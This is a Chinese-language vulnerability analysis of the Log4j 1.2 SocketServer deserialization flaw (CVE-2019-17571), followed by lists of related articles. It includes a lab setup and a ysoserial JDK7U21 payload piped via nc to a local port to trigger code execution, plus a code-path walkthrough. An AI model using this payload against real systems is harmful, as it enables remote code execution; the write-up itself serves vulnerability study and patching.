Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析
Apache Log4j 漏洞分析
仅用于研究漏洞原理,禁止用于非法用途,后果自负!!!
CVE-2019-17571
漏洞描述
Log4j是美国阿帕奇(Apache)软件基金会的一款基于Java的开源日志记录工具。Log4j 1.2版本中包含一个SocketServer类,在未经验证的情况下,该SocketServe类很容易接受序列化的日志事件并对其进行反序列化,在结合反序列化工具使用时,可以利用该类远程执行任意代码。
环境搭建
方便测试,添加JDK7U21的漏洞环境
- 新建Maven项目,pom.xml中添加
<dependencies>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
</dependencies>
- 编写测试方法
public class CVE_2019_17571 {
private static final Logger log = Logger.getLogger(SimpleSocketServer.class);
public static void main(String[] args) {
System.out.println("start:");
String[] argss = {"4444", "src/log4j.properties"};
SimpleSocketServer.main(argss);
log.info("succ");
}
}
- Ysoserial生成POC(JDK7U21),发送POC
java -jar ysoserial.jar JDK7U21 "calc" > poc.ser
cat poc.ser | nc 127.0.0.1 4444
漏洞分析
- org.apache.log4j.net.SimpleSocketServer#main()
首先开启Log4j自带的SocketServer服务器时,会监听设置的端口,然后获取Socket对象,进入SocketNode类进行处理.

- org.apache.log4j.net.SocketNode
SocketNode类的构造方法中会对socket接收的数据封装为一个Object流对象.

- org.apache.log4j.net.SocketNode#run()
在run()方法中直接进行反序列化

漏洞修复
目前官方已在Apache Log4j 2.8.2版本之后修复了该漏洞,请受影响的用户升级至2.8.2 或更高的版本进行防护.
参考
【威胁通告】Apache Log4j 反序列化远程代码执行(CVE-2019-17571)漏洞威胁通告
Apache Log4j 反序列化代码执行(CVE-2019-17571) 漏洞分析的更多相关文章
- 修复Apache Log4j任意代码执行漏洞安全风险通告
2021年12月10日 0x01漏洞背景 Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具.该工具重写了Log4j框架,并且引入了 ...
- Apache Log4j 远程代码执行漏洞源码级分析
漏洞的前因后果 漏洞描述 漏洞评级 影响版本 安全建议 本地复现漏洞 本地打印 JVM 基础信息 本地获取服务器的打印信息 log4j 漏洞源码分析 扩展:JNDI 危害是什么? GitHub 项目 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...
- Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截
近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞.Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大.华为云 ...
- Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)
Apache Kylin远程代码执行(CVE-2020-1956) 简介 Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库.该产品主要提供 Hadoop/Sp ...
- Apache Druid 远程代码执行 CVE-2021-25646 漏洞复现
Apache Druid 远程代码执行 CVE-2021-25646 漏洞复现 前言 Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供 ...
- Apache Struts 远程代码执行漏洞(CVE-2013-4316)
漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...
- 【预警通告】Apache Struts2 远程代码执行漏洞
Apache Structs2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638.攻击者可以在使用该插件上传文件时,修改HTTP请求头中的 ...
随机推荐
- java小心机(6)| 多态的一些坑
对于"多态"的概念,想必大家都很熟悉了,但我们还是来回顾一下吧 class Actor { public void act(){ System.out.println(" ...
- 「 深入浅出 」集合Set
系列文章 「 深入浅出 」集合List 「 深入浅出 」java集合Collection和Map Set继承自Collection接口,不能包含有重复元素.本篇文章主要讲Set中三个比较重要的实现类: ...
- 关于Spring集成Quartz的concurrent属性
关于Spring集成Quartz的concurrent属性 以前经常在任务调度程序中使用Spring集成的Quartz,这种方式可以用简单的声明式配置即可实现定时任务,并结合了Spring自身的Bea ...
- Frameworks.Entity.Core 5 EntityValidation
Project.Core\Frameworks.Entity.Core\EntityValidation\ EntityValidation 1 数值验证DigitAttribute.cs Digi ...
- 史上最详细的二叉树、B树,看不懂怨我
今天我们要说的红黑树就是就是一棵非严格均衡的二叉树,均衡二叉树又是在二叉搜索树的基础上增加了自动维持平衡的性质,插入.搜索.删除的效率都比较高.红黑树也是实现 TreeMap 存储结构的基石. 1.二 ...
- 工具之sort
转自:http://www.cnblogs.com/dong008259/archive/2011/12/08/2281214.html sort命令是帮我们依据不同的数据类型进行排序,其语法及常用参 ...
- GC原理---垃圾收集器
垃圾收集器 如果说收集算法是内存回收的方法论,垃圾收集器就是内存回收的具体实现 Serial收集器 串行收集器是最古老,最稳定以及效率高的收集器,可能会产生较长的停顿,只使用一个线程去回收.新生代.老 ...
- P4452 [国家集训队]航班安排(最大费用最大流)
P4452 [国家集训队]航班安排 题目传送门 解题思路: 感觉题面让人有很多误解,就是说有k架飞机在0点从0号机场起飞,在t时刻返回机场,给出空载飞行的时间和花费以及m个包机请求的花费和起始时间和终 ...
- apache 目录网站显示indexs
Apache Options Indexes FollowSymLinks详解 第一种方法 <Directory "E:\myvirtualhost\localhost"&g ...
- Nutz框架-- Cnd条件使用原生sql
案例 今天接到一个临时的业务需求,做一个简单的过滤作为临时业务需要使用一两天,于是想到在原有的Cnd条件上加上一个Not like 进行过滤,但是发现现有Cnd条件查询好像满足不了 解决方案 使用Nu ...